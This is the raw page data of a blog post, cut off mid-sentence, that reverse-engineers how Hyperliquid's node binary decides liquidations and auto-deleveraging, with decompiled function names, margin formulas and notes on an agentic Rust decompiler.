[{"data":1,"prerenderedAt":168980},["ShallowReactive",2],{"blog-/blog/2026-06-22-hyperliquid-risk-engine":3,"featured-blog-posts":6798},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":12,"isFeatured":16,"onBlogPage":16,"tags":17,"hideToc":16,"body":21,"_type":6792,"_id":6793,"_source":6794,"_file":6795,"_stem":6796,"_extension":6797},"/blog/2026-06-22-hyperliquid-risk-engine","blog",false,"","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":13,"width":14,"height":15},"/posts/hyperliquid-risk-engine/title.png",1456,816,true,[18,19,20],"hyperliquid","reverse-engineering","defi",{"type":22,"children":23,"toc":6762},"root",[24,33,43,48,53,58,71,76,90,109,115,127,140,145,180,187,200,205,429,435,440,452,459,464,470,484,518,523,529,541,547,567,575,588,594,606,613,625,630,637,657,665,671,706,710,746,752,757,762,775,804,809,823,829,834,861,869,874,903,908,913,1251,1256,1261,1281,1309,1314,1327,1339,1344,1349,1355,1360,1365,1379,1384,1390,1418,1455,1467,1471,1476,1481,1487,1654,1690,1695,1701,1707,1903,1916,1921,1927,1948,1953,1959,1964,1969,1981,1986,1991,1997,2002,2007,2013,2019,2032,2067,2072,4689,4961,4966,6316,6321,6326,6338,6429,6441,6446,6452,6457,6466,6471,6479,6485,6519,6531,6539,6545,6551,6556,6564,6569,6574,6582,6594,6600,6605,6611,6622,6627,6633,6638,6643,6649,6654,6657,6662,6667,6673,6678,6690,6695,6700],{"type":25,"tag":26,"props":27,"children":29},"element","h2",{"id":28},"perpetuals",[30],{"type":31,"value":32},"text","Perpetuals",{"type":25,"tag":34,"props":35,"children":36},"blockquote",{},[37],{"type":25,"tag":38,"props":39,"children":40},"p",{},[41],{"type":31,"value":42},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":25,"tag":38,"props":44,"children":45},{},[46],{"type":31,"value":47},"What does that even have to do with reverse engineering?",{"type":25,"tag":26,"props":49,"children":50},{"id":18},[51],{"type":31,"value":52},"Hyperliquid",{"type":25,"tag":38,"props":54,"children":55},{},[56],{"type":31,"value":57},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":25,"tag":38,"props":59,"children":60},{},[61,63,69],{"type":31,"value":62},"The node is tasked with a ",{"type":25,"tag":64,"props":65,"children":66},"em",{},[67],{"type":31,"value":68},"very hard problem",{"type":31,"value":70},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":25,"tag":38,"props":72,"children":73},{},[74],{"type":31,"value":75},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":25,"tag":38,"props":77,"children":78},{},[79,81,88],{"type":31,"value":80},"Beyond that, the ",{"type":25,"tag":82,"props":83,"children":85},"code",{"className":84},[],[86],{"type":31,"value":87},"hl-node",{"type":31,"value":89}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":25,"tag":38,"props":91,"children":92},{},[93,95,100,102,107],{"type":31,"value":94},"Armed with some curiosity, a good amount of ",{"type":25,"tag":64,"props":96,"children":97},{},[98],{"type":31,"value":99},"inference",{"type":31,"value":101},", and the right tooling, we'll take a deep dive using an ",{"type":25,"tag":64,"props":103,"children":104},{},[105],{"type":31,"value":106},"interactive interface",{"type":31,"value":108},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":25,"tag":26,"props":110,"children":112},{"id":111},"the-million-dollar-question",[113],{"type":31,"value":114},"The Million Dollar Question",{"type":25,"tag":38,"props":116,"children":117},{},[118,120,125],{"type":31,"value":119},"Let's say a terrible trader opens a ",{"type":25,"tag":64,"props":121,"children":122},{},[123],{"type":31,"value":124},"50x",{"type":31,"value":126}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":25,"tag":38,"props":128,"children":129},{},[130,132,138],{"type":31,"value":131},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":25,"tag":82,"props":133,"children":135},{"className":134},[],[136],{"type":31,"value":137},"compute_margin_requirement_by_mode",{"type":31,"value":139}," function.",{"type":25,"tag":38,"props":141,"children":142},{},[143],{"type":31,"value":144},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":25,"tag":146,"props":147,"children":148},"tip",{},[149],{"type":25,"tag":38,"props":150,"children":151},{},[152,154,159,161,170,172,178],{"type":31,"value":153},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":25,"tag":64,"props":155,"children":156},{},[157],{"type":31,"value":158},"click through",{"type":31,"value":160}," each action performed by ",{"type":25,"tag":162,"props":163,"children":167},"a",{"href":164,"rel":165},"https://github.com/renato-osec/patina-research",[166],"nofollow",[168],{"type":31,"value":169},"our Rust reverse engineering agent",{"type":31,"value":171},". Return to the regular view by clicking ",{"type":25,"tag":82,"props":173,"children":175},{"className":174},[],[176],{"type":31,"value":177},"T",{"type":31,"value":179},".",{"type":25,"tag":181,"props":182,"children":186},"bndb-viewer-embed",{"addr":183,"line-start":184,"line-end":185},"0x555556bb4d20","1","20",[],{"type":25,"tag":38,"props":188,"children":189},{},[190,192,198],{"type":31,"value":191},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":25,"tag":82,"props":193,"children":195},{"className":194},[],[196],{"type":31,"value":197},"OptionUnitQty",{"type":31,"value":199},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":25,"tag":38,"props":201,"children":202},{},[203],{"type":31,"value":204},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":25,"tag":206,"props":207,"children":208},"pre",{},[209],{"type":25,"tag":82,"props":210,"children":214},{"className":211},[212,213],"language-math","math-display",[215],{"type":25,"tag":216,"props":217,"children":220},"span",{"className":218},[219],"katex-display",[221],{"type":25,"tag":216,"props":222,"children":225},{"className":223},[224],"katex",[226],{"type":25,"tag":216,"props":227,"children":231},{"className":228,"ariaHidden":230},[229],"katex-html","true",[232,271],{"type":25,"tag":216,"props":233,"children":236},{"className":234},[235],"base",[237,243,254,260,267],{"type":25,"tag":216,"props":238,"children":242},{"className":239,"style":241},[240],"strut","height:1.0044em;vertical-align:-0.31em;",[],{"type":25,"tag":216,"props":244,"children":247},{"className":245},[246,31],"mord",[248],{"type":25,"tag":216,"props":249,"children":251},{"className":250},[246],[252],{"type":31,"value":253},"liq_equity",{"type":25,"tag":216,"props":255,"children":259},{"className":256,"style":258},[257],"mspace","margin-right:0.2778em;",[],{"type":25,"tag":216,"props":261,"children":264},{"className":262},[263],"mrel",[265],{"type":31,"value":266},"=",{"type":25,"tag":216,"props":268,"children":270},{"className":269,"style":258},[257],[],{"type":25,"tag":216,"props":272,"children":274},{"className":273},[235],[275,280],{"type":25,"tag":216,"props":276,"children":279},{"className":277,"style":278},[240],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":25,"tag":216,"props":281,"children":283},{"className":282},[246],[284,290,424],{"type":25,"tag":216,"props":285,"children":289},{"className":286},[287,288],"mopen","nulldelimiter",[],{"type":25,"tag":216,"props":291,"children":294},{"className":292},[293],"mfrac",[295],{"type":25,"tag":216,"props":296,"children":300},{"className":297},[298,299],"vlist-t","vlist-t2",[301,412],{"type":25,"tag":216,"props":302,"children":305},{"className":303},[304],"vlist-r",[306,405],{"type":25,"tag":216,"props":307,"children":311},{"className":308,"style":310},[309],"vlist","height:1.427em;",[312,358,372],{"type":25,"tag":216,"props":313,"children":315},{"style":314},"top:-2.314em;",[316,322],{"type":25,"tag":216,"props":317,"children":321},{"className":318,"style":320},[319],"pstrut","height:3em;",[],{"type":25,"tag":216,"props":323,"children":325},{"className":324},[246],[326,332,337,344,348],{"type":25,"tag":216,"props":327,"children":329},{"className":328},[246],[330],{"type":31,"value":331},"2",{"type":25,"tag":216,"props":333,"children":336},{"className":334,"style":335},[257],"margin-right:0.2222em;",[],{"type":25,"tag":216,"props":338,"children":341},{"className":339},[340],"mbin",[342],{"type":31,"value":343},"⋅",{"type":25,"tag":216,"props":345,"children":347},{"className":346,"style":335},[257],[],{"type":25,"tag":216,"props":349,"children":351},{"className":350},[246,31],[352],{"type":25,"tag":216,"props":353,"children":355},{"className":354},[246],[356],{"type":31,"value":357},"leverage",{"type":25,"tag":216,"props":359,"children":361},{"style":360},"top:-3.23em;",[362,366],{"type":25,"tag":216,"props":363,"children":365},{"className":364,"style":320},[319],[],{"type":25,"tag":216,"props":367,"children":371},{"className":368,"style":370},[369],"frac-line","border-bottom-width:0.04em;",[],{"type":25,"tag":216,"props":373,"children":375},{"style":374},"top:-3.677em;",[376,380],{"type":25,"tag":216,"props":377,"children":379},{"className":378,"style":320},[319],[],{"type":25,"tag":216,"props":381,"children":383},{"className":382},[246],[384,390,400],{"type":25,"tag":216,"props":385,"children":387},{"className":386},[246],[388],{"type":31,"value":389},"∣",{"type":25,"tag":216,"props":391,"children":393},{"className":392},[246,31],[394],{"type":25,"tag":216,"props":395,"children":397},{"className":396},[246],[398],{"type":31,"value":399},"notional",{"type":25,"tag":216,"props":401,"children":403},{"className":402},[246],[404],{"type":31,"value":389},{"type":25,"tag":216,"props":406,"children":409},{"className":407},[408],"vlist-s",[410],{"type":31,"value":411},"​",{"type":25,"tag":216,"props":413,"children":415},{"className":414},[304],[416],{"type":25,"tag":216,"props":417,"children":420},{"className":418,"style":419},[309],"height:0.8804em;",[421],{"type":25,"tag":216,"props":422,"children":423},{},[],{"type":25,"tag":216,"props":425,"children":428},{"className":426},[427,288],"mclose",[],{"type":25,"tag":26,"props":430,"children":432},{"id":431},"what-if-nobody-wants-to-buy-the-position",[433],{"type":31,"value":434},"What If Nobody Wants to Buy the Position?",{"type":25,"tag":38,"props":436,"children":437},{},[438],{"type":31,"value":439},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":25,"tag":38,"props":441,"children":442},{},[443,445,450],{"type":31,"value":444},"When that happens, the exchange is basically left with a ",{"type":25,"tag":64,"props":446,"children":447},{},[448],{"type":31,"value":449},"hot potato",{"type":31,"value":451}," to get rid of: what should it even do with the debt?",{"type":25,"tag":453,"props":454,"children":456},"h1",{"id":455},"the-risk-engine",[457],{"type":31,"value":458},"The Risk Engine",{"type":25,"tag":38,"props":460,"children":461},{},[462],{"type":31,"value":463},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":25,"tag":26,"props":465,"children":467},{"id":466},"clearing-up-bad-debt",[468],{"type":31,"value":469},"Clearing Up Bad Debt",{"type":25,"tag":38,"props":471,"children":472},{},[473,475,482],{"type":31,"value":474},"The ",{"type":25,"tag":162,"props":476,"children":479},{"href":477,"rel":478},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[166],[480],{"type":31,"value":481},"Hyperliquid docs",{"type":31,"value":483}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":25,"tag":38,"props":485,"children":486},{},[487,489,500,502,508,510,516],{"type":31,"value":488},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":25,"tag":162,"props":490,"children":493},{"href":491,"rel":492},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[166],[494],{"type":25,"tag":82,"props":495,"children":497},{"className":496},[],[498],{"type":31,"value":499},"Clearinghouse",{"type":31,"value":501},", a struct containing all liquidation-related info, nested within a bigger ",{"type":25,"tag":82,"props":503,"children":505},{"className":504},[],[506],{"type":31,"value":507},"Exchange",{"type":31,"value":509}," data structure. This is an example of what it might hold when serialized as ",{"type":25,"tag":82,"props":511,"children":513},{"className":512},[],[514],{"type":31,"value":515},"MessagePack",{"type":31,"value":517}," at runtime.",{"type":25,"tag":38,"props":519,"children":520},{},[521],{"type":31,"value":522},"This data will come in handy both for us and the agent.",{"type":25,"tag":524,"props":525,"children":528},"file-download",{"path":526,"size":527},"https://blog-assets.osec.io/hyperliquid-risk-engine/clearinghouse.json",234654101,[],{"type":25,"tag":38,"props":530,"children":531},{},[532,534,539],{"type":31,"value":533},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":25,"tag":82,"props":535,"children":537},{"className":536},[],[538],{"type":31,"value":499},{"type":31,"value":540},". Some renaming later, we can infer something like this:",{"type":25,"tag":181,"props":542,"children":546},{"source":543,"target":544,"direction":545},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":25,"tag":38,"props":548,"children":549},{},[550,552,557,559,565],{"type":31,"value":551},"We have one huge function handling all clearinghouse operations, which we call ",{"type":25,"tag":82,"props":553,"children":555},{"className":554},[],[556],{"type":31,"value":544},{"type":31,"value":558},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":25,"tag":82,"props":560,"children":562},{"className":561},[],[563],{"type":31,"value":564},"exchange_end_block",{"type":31,"value":566},". So, at the end of each block we run some checks.",{"type":25,"tag":146,"props":568,"children":569},{},[570],{"type":25,"tag":38,"props":571,"children":572},{},[573],{"type":31,"value":574},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":25,"tag":38,"props":576,"children":577},{},[578,580,586],{"type":31,"value":579},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":25,"tag":82,"props":581,"children":583},{"className":582},[],[584],{"type":31,"value":585},"clearinghouse.perform_auto_deleveraging",{"type":31,"value":587}," flag.",{"type":25,"tag":181,"props":589,"children":593},{"addr":590,"line-start":591,"line-end":592},"0x555556ac3850","3290","3301",[],{"type":25,"tag":38,"props":595,"children":596},{},[597,599,604],{"type":31,"value":598},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":25,"tag":82,"props":600,"children":602},{"className":601},[],[603],{"type":31,"value":499},{"type":31,"value":605},"?",{"type":25,"tag":607,"props":608,"children":610},"h3",{"id":609},"threshold-condition",[611],{"type":31,"value":612},"Threshold Condition",{"type":25,"tag":38,"props":614,"children":615},{},[616,618,623],{"type":31,"value":617},"The natural connection between liquidations and ADL is ",{"type":25,"tag":64,"props":619,"children":620},{},[621],{"type":31,"value":622},"shortfall",{"type":31,"value":624},": by how much a position, or the entire system (!), is underwater.",{"type":25,"tag":38,"props":626,"children":627},{},[628],{"type":31,"value":629},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":25,"tag":631,"props":632,"children":634},"h4",{"id":633},"who-is-underwater",[635],{"type":31,"value":636},"Who Is Underwater?",{"type":25,"tag":38,"props":638,"children":639},{},[640,642,647,649,655],{"type":31,"value":641},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":25,"tag":82,"props":643,"children":645},{"className":644},[],[646],{"type":31,"value":544},{"type":31,"value":648},", starting from all user positions, which are stored in ",{"type":25,"tag":82,"props":650,"children":652},{"className":651},[],[653],{"type":31,"value":654},"clearinghouse.user_states",{"type":31,"value":656},", as we can also see from the serialization.",{"type":25,"tag":146,"props":658,"children":659},{},[660],{"type":25,"tag":38,"props":661,"children":662},{},[663],{"type":31,"value":664},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":25,"tag":181,"props":666,"children":670},{"source":667,"target":564,"direction":668,"path":669},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":25,"tag":38,"props":672,"children":673},{},[674,675,680,682,688,690,696,698,704],{"type":31,"value":474},{"type":25,"tag":82,"props":676,"children":678},{"className":677},[],[679],{"type":31,"value":667},{"type":31,"value":681}," essentially turns that into an ",{"type":25,"tag":82,"props":683,"children":685},{"className":684},[],[686],{"type":31,"value":687},"Iter",{"type":31,"value":689},", then, inside of ",{"type":25,"tag":82,"props":691,"children":693},{"className":692},[],[694],{"type":31,"value":695},"build_adl_candidate_set",{"type":31,"value":697}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":25,"tag":82,"props":699,"children":701},{"className":700},[],[702],{"type":31,"value":703},"AdlIterEntry",{"type":31,"value":705}," field.",{"type":25,"tag":181,"props":707,"children":709},{"type-name":708},"AdlIterContext",[],{"type":25,"tag":38,"props":711,"children":712},{},[713,715,721,723,729,731,737,739,744],{"type":31,"value":714},"Note that in storage, ",{"type":25,"tag":82,"props":716,"children":718},{"className":717},[],[719],{"type":31,"value":720},"Isolated",{"type":31,"value":722}," positions have their own independent ",{"type":25,"tag":82,"props":724,"children":726},{"className":725},[],[727],{"type":31,"value":728},"Entry",{"type":31,"value":730}," in the position iterators, and ",{"type":25,"tag":82,"props":732,"children":734},{"className":733},[],[735],{"type":31,"value":736},"Cross",{"type":31,"value":738}," positions have a single common ",{"type":25,"tag":82,"props":740,"children":742},{"className":741},[],[743],{"type":31,"value":728},{"type":31,"value":745},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":25,"tag":181,"props":747,"children":751},{"addr":748,"line-start":749,"line-end":750},"0x555556266b10","152","163",[],{"type":25,"tag":38,"props":753,"children":754},{},[755],{"type":31,"value":756},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":25,"tag":181,"props":758,"children":761},{"addr":590,"line-start":759,"line-end":760},"506","527",[],{"type":25,"tag":38,"props":763,"children":764},{},[765,767],{"type":31,"value":766},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":25,"tag":768,"props":769,"children":772},"bndb-xref",{"lines":770,"addrs":771},"1-2","0x555556ac3e18-0x555556ac3e18",[773],{"type":31,"value":774},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":25,"tag":38,"props":776,"children":777},{},[778,780,786,788,794,796,802],{"type":31,"value":779},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":25,"tag":82,"props":781,"children":783},{"className":782},[],[784],{"type":31,"value":785},"only_isolated",{"type":31,"value":787}," are added to a separate queue, ",{"type":25,"tag":82,"props":789,"children":791},{"className":790},[],[792],{"type":31,"value":793},"deferred_queue",{"type":31,"value":795},", which triggers ADL regardless of the system's ",{"type":25,"tag":82,"props":797,"children":799},{"className":798},[],[800],{"type":31,"value":801},"total_shortfall",{"type":31,"value":803},". This is dictated by this branch.",{"type":25,"tag":181,"props":805,"children":808},{"addr":590,"line-start":806,"line-end":807},"211","243",[],{"type":25,"tag":38,"props":810,"children":811},{},[812,814,821],{"type":31,"value":813},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":25,"tag":162,"props":815,"children":818},{"href":816,"rel":817},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[166],[819],{"type":31,"value":820},"March 2025 incident",{"type":31,"value":822},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":25,"tag":631,"props":824,"children":826},{"id":825},"how-do-we-get-rid-of-debt",[827],{"type":31,"value":828},"How Do We Get Rid of Debt?",{"type":25,"tag":38,"props":830,"children":831},{},[832],{"type":31,"value":833},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":25,"tag":38,"props":835,"children":836},{},[837,839,844,846,851,853,859],{"type":31,"value":838},"Thus, if the debt is insurmountable, the ",{"type":25,"tag":82,"props":840,"children":842},{"className":841},[],[843],{"type":31,"value":793},{"type":31,"value":845}," is overwritten by all the users marked by ",{"type":25,"tag":82,"props":847,"children":849},{"className":848},[],[850],{"type":31,"value":695},{"type":31,"value":852},", otherwise we keep it and only holders of underwater ",{"type":25,"tag":82,"props":854,"children":856},{"className":855},[],[857],{"type":31,"value":858},"strict_isolated",{"type":31,"value":860}," positions from the earlier loop are considered for ADL.",{"type":25,"tag":146,"props":862,"children":863},{},[864],{"type":25,"tag":38,"props":865,"children":866},{},[867],{"type":31,"value":868},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":25,"tag":181,"props":870,"children":873},{"addr":590,"line-start":871,"line-end":872},"523","526",[],{"type":25,"tag":38,"props":875,"children":876},{},[877,879,885,887,893,895,901],{"type":31,"value":878},"For each underwater position, we do a ",{"type":25,"tag":768,"props":880,"children":882},{"addrs":881},"0x555556ac42ad-0x555556ac42be",[883],{"type":31,"value":884},"B-tree lookup",{"type":31,"value":886}," on ",{"type":25,"tag":82,"props":888,"children":890},{"className":889},[],[891],{"type":31,"value":892},"clearinghouse.user_states[position.user]",{"type":31,"value":894},", adding them to a ",{"type":25,"tag":82,"props":896,"children":898},{"className":897},[],[899],{"type":31,"value":900},"Vec",{"type":31,"value":902}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":25,"tag":181,"props":904,"children":907},{"addr":590,"line-start":905,"line-end":906},"635","658",[],{"type":25,"tag":38,"props":909,"children":910},{},[911],{"type":31,"value":912},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":25,"tag":206,"props":914,"children":915},{},[916],{"type":25,"tag":82,"props":917,"children":919},{"className":918},[212,213],[920],{"type":25,"tag":216,"props":921,"children":923},{"className":922},[219],[924],{"type":25,"tag":216,"props":925,"children":927},{"className":926},[224],[928],{"type":25,"tag":216,"props":929,"children":931},{"className":930,"ariaHidden":230},[229],[932],{"type":25,"tag":216,"props":933,"children":935},{"className":934},[235],[936,941],{"type":25,"tag":216,"props":937,"children":940},{"className":938,"style":939},[240],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":25,"tag":216,"props":942,"children":944},{"className":943},[246],[945],{"type":25,"tag":216,"props":946,"children":949},{"className":947},[948],"mtable",[950,1030],{"type":25,"tag":216,"props":951,"children":954},{"className":952},[953],"col-align-r",[955],{"type":25,"tag":216,"props":956,"children":958},{"className":957},[298,299],[959,1018],{"type":25,"tag":216,"props":960,"children":962},{"className":961},[304],[963,1013],{"type":25,"tag":216,"props":964,"children":967},{"className":965,"style":966},[309],"height:2.3452em;",[968,991],{"type":25,"tag":216,"props":969,"children":971},{"style":970},"top:-4.3452em;",[972,977],{"type":25,"tag":216,"props":973,"children":976},{"className":974,"style":975},[319],"height:3.3944em;",[],{"type":25,"tag":216,"props":978,"children":980},{"className":979},[246],[981],{"type":25,"tag":216,"props":982,"children":984},{"className":983},[246,31],[985],{"type":25,"tag":216,"props":986,"children":988},{"className":987},[246],[989],{"type":31,"value":990},"position_weight",{"type":25,"tag":216,"props":992,"children":994},{"style":993},"top:-2.2092em;",[995,999],{"type":25,"tag":216,"props":996,"children":998},{"className":997,"style":975},[319],[],{"type":25,"tag":216,"props":1000,"children":1002},{"className":1001},[246],[1003],{"type":25,"tag":216,"props":1004,"children":1006},{"className":1005},[246,31],[1007],{"type":25,"tag":216,"props":1008,"children":1010},{"className":1009},[246],[1011],{"type":31,"value":1012},"position_adl_amount",{"type":25,"tag":216,"props":1014,"children":1016},{"className":1015},[408],[1017],{"type":31,"value":411},{"type":25,"tag":216,"props":1019,"children":1021},{"className":1020},[304],[1022],{"type":25,"tag":216,"props":1023,"children":1026},{"className":1024,"style":1025},[309],"height:1.8452em;",[1027],{"type":25,"tag":216,"props":1028,"children":1029},{},[],{"type":25,"tag":216,"props":1031,"children":1034},{"className":1032},[1033],"col-align-l",[1035],{"type":25,"tag":216,"props":1036,"children":1038},{"className":1037},[298,299],[1039,1240],{"type":25,"tag":216,"props":1040,"children":1042},{"className":1041},[304],[1043,1235],{"type":25,"tag":216,"props":1044,"children":1046},{"className":1045,"style":966},[309],[1047,1175],{"type":25,"tag":216,"props":1048,"children":1049},{"style":970},[1050,1054],{"type":25,"tag":216,"props":1051,"children":1053},{"className":1052,"style":975},[319],[],{"type":25,"tag":216,"props":1055,"children":1057},{"className":1056},[246],[1058,1062,1066,1071,1075],{"type":25,"tag":216,"props":1059,"children":1061},{"className":1060},[246],[],{"type":25,"tag":216,"props":1063,"children":1065},{"className":1064,"style":258},[257],[],{"type":25,"tag":216,"props":1067,"children":1069},{"className":1068},[263],[1070],{"type":31,"value":266},{"type":25,"tag":216,"props":1072,"children":1074},{"className":1073,"style":258},[257],[],{"type":25,"tag":216,"props":1076,"children":1078},{"className":1077},[246],[1079,1083,1171],{"type":25,"tag":216,"props":1080,"children":1082},{"className":1081},[287,288],[],{"type":25,"tag":216,"props":1084,"children":1086},{"className":1085},[293],[1087],{"type":25,"tag":216,"props":1088,"children":1090},{"className":1089},[298,299],[1091,1159],{"type":25,"tag":216,"props":1092,"children":1094},{"className":1093},[304],[1095,1154],{"type":25,"tag":216,"props":1096,"children":1099},{"className":1097,"style":1098},[309],"height:1.3944em;",[1100,1121,1132],{"type":25,"tag":216,"props":1101,"children":1102},{"style":314},[1103,1107],{"type":25,"tag":216,"props":1104,"children":1106},{"className":1105,"style":320},[319],[],{"type":25,"tag":216,"props":1108,"children":1110},{"className":1109},[246],[1111],{"type":25,"tag":216,"props":1112,"children":1114},{"className":1113},[246,31],[1115],{"type":25,"tag":216,"props":1116,"children":1118},{"className":1117},[246],[1119],{"type":31,"value":1120},"total_cross_notional",{"type":25,"tag":216,"props":1122,"children":1123},{"style":360},[1124,1128],{"type":25,"tag":216,"props":1125,"children":1127},{"className":1126,"style":320},[319],[],{"type":25,"tag":216,"props":1129,"children":1131},{"className":1130,"style":370},[369],[],{"type":25,"tag":216,"props":1133,"children":1135},{"style":1134},"top:-3.7em;",[1136,1140],{"type":25,"tag":216,"props":1137,"children":1139},{"className":1138,"style":320},[319],[],{"type":25,"tag":216,"props":1141,"children":1143},{"className":1142},[246],[1144],{"type":25,"tag":216,"props":1145,"children":1147},{"className":1146},[246,31],[1148],{"type":25,"tag":216,"props":1149,"children":1151},{"className":1150},[246],[1152],{"type":31,"value":1153},"position_notional",{"type":25,"tag":216,"props":1155,"children":1157},{"className":1156},[408],[1158],{"type":31,"value":411},{"type":25,"tag":216,"props":1160,"children":1162},{"className":1161},[304],[1163],{"type":25,"tag":216,"props":1164,"children":1167},{"className":1165,"style":1166},[309],"height:0.996em;",[1168],{"type":25,"tag":216,"props":1169,"children":1170},{},[],{"type":25,"tag":216,"props":1172,"children":1174},{"className":1173},[427,288],[],{"type":25,"tag":216,"props":1176,"children":1177},{"style":993},[1178,1182],{"type":25,"tag":216,"props":1179,"children":1181},{"className":1180,"style":975},[319],[],{"type":25,"tag":216,"props":1183,"children":1185},{"className":1184},[246],[1186,1190,1194,1199,1203,1213,1217,1222,1226],{"type":25,"tag":216,"props":1187,"children":1189},{"className":1188},[246],[],{"type":25,"tag":216,"props":1191,"children":1193},{"className":1192,"style":258},[257],[],{"type":25,"tag":216,"props":1195,"children":1197},{"className":1196},[263],[1198],{"type":31,"value":266},{"type":25,"tag":216,"props":1200,"children":1202},{"className":1201,"style":258},[257],[],{"type":25,"tag":216,"props":1204,"children":1206},{"className":1205},[246,31],[1207],{"type":25,"tag":216,"props":1208,"children":1210},{"className":1209},[246],[1211],{"type":31,"value":1212},"user_shortfall",{"type":25,"tag":216,"props":1214,"children":1216},{"className":1215,"style":335},[257],[],{"type":25,"tag":216,"props":1218,"children":1220},{"className":1219},[340],[1221],{"type":31,"value":343},{"type":25,"tag":216,"props":1223,"children":1225},{"className":1224,"style":335},[257],[],{"type":25,"tag":216,"props":1227,"children":1229},{"className":1228},[246,31],[1230],{"type":25,"tag":216,"props":1231,"children":1233},{"className":1232},[246],[1234],{"type":31,"value":990},{"type":25,"tag":216,"props":1236,"children":1238},{"className":1237},[408],[1239],{"type":31,"value":411},{"type":25,"tag":216,"props":1241,"children":1243},{"className":1242},[304],[1244],{"type":25,"tag":216,"props":1245,"children":1247},{"className":1246,"style":1025},[309],[1248],{"type":25,"tag":216,"props":1249,"children":1250},{},[],{"type":25,"tag":38,"props":1252,"children":1253},{},[1254],{"type":31,"value":1255},"We do that here:",{"type":25,"tag":181,"props":1257,"children":1260},{"addr":590,"line-start":1258,"line-end":1259},"828","981",[],{"type":25,"tag":38,"props":1262,"children":1263},{},[1264,1265,1271,1273,1279],{"type":31,"value":474},{"type":25,"tag":768,"props":1266,"children":1268},{"lines":1267},"77-79",[1269],{"type":31,"value":1270},"inner loop",{"type":31,"value":1272}," above spans all ",{"type":25,"tag":82,"props":1274,"children":1276},{"className":1275},[],[1277],{"type":31,"value":1278},"(asset_idx, direction)",{"type":31,"value":1280}," held in the cross margin position.",{"type":25,"tag":38,"props":1282,"children":1283},{},[1284,1286,1292,1294,1300,1302,1308],{"type":31,"value":1285},"For isolated 